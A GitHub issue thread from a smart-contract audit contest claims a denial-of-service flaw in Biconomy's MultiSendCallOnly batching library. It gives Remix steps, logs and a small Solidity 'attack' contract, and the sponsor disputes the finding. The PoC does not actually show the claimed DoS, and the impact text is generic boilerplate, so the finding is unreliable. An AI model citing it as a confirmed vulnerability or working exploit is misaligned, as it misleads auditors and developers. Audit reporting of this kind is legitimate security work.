code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/libs/MultiSendCallOnly.sol#L47

Vulnerability details

Impact

External calls can fail accidentally or deliberately, which can cause a DoS condition in the contract.

External calls can fail accidentally or deliberately, which can cause a DoS condition in the contract. 
To minimize the damage caused by such failures, it is better to isolate each external call into its own transaction that can be initiated by the recipient of the call. 
This is especially relevant for payments, where it is better to let users withdraw funds rather than push funds to them automatically (this also reduces the chance of problems with the gas limit).

Proof of Concept

File

/libs/MultiSendCallOnly.sol

URL

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/libs/MultiSendCallOnly.sol#L47

Current code

success := call(gas(), to, value, data, dataLength, 0, 0)

Dos Test Case

NB: Using Remix (VM) London
1. switch to first account (as alice) and deploy the victim contract.
2. switch to second account (as eve) and deploy the attack contract. 
3. switch to first account (as alice) and select 1 wei and enter bytes value as 0x1 click multisend() button.
4. switch to second account (as eve) and select 2 wei and paste victim contract address for alice in input box next to button for attack() and then click attack() button.
5. in account 2 for eve, click getbalance button and balance is 2 wei.

Logs

Victim Address

0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B

Attacker Address

0xe5f0332CA42459333149b67aF2d0E486D03F8a83

Attacker Balance After Attack button is clicked

Balance: 0.000000000000000002 ETH

PoC

// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.6.0 <0.9.0;

import "./MultiSendCallOnly.sol";

contract AttackMultiSendCallOnly {
    uint256 public i = 2;

    bytes public iex = abi.encodePacked(i);

    function attack(MultiSendCallOnly multisendcallonly) public payable {
        multisendcallonly.multiSend(iex);
    }

    function getBalance() public payable {
        address(this).balance;
    }
}

Tools Used

Remix IDE

Recommended Mitigation Steps

Avoid combining multiple calls in a single transaction, especially when calls are executed as part of a loop
Always assume that external calls can fail
Implement the contract logic to handle failed calls

c4-judge commented 1 year ago

gzeon-c4 marked the issue as duplicate of #499

livingrockrises commented 1 year ago

it's supposed to atomic batched transaction with MultiCall.

c4-sponsor commented 1 year ago

livingrockrises marked the issue as sponsor disputed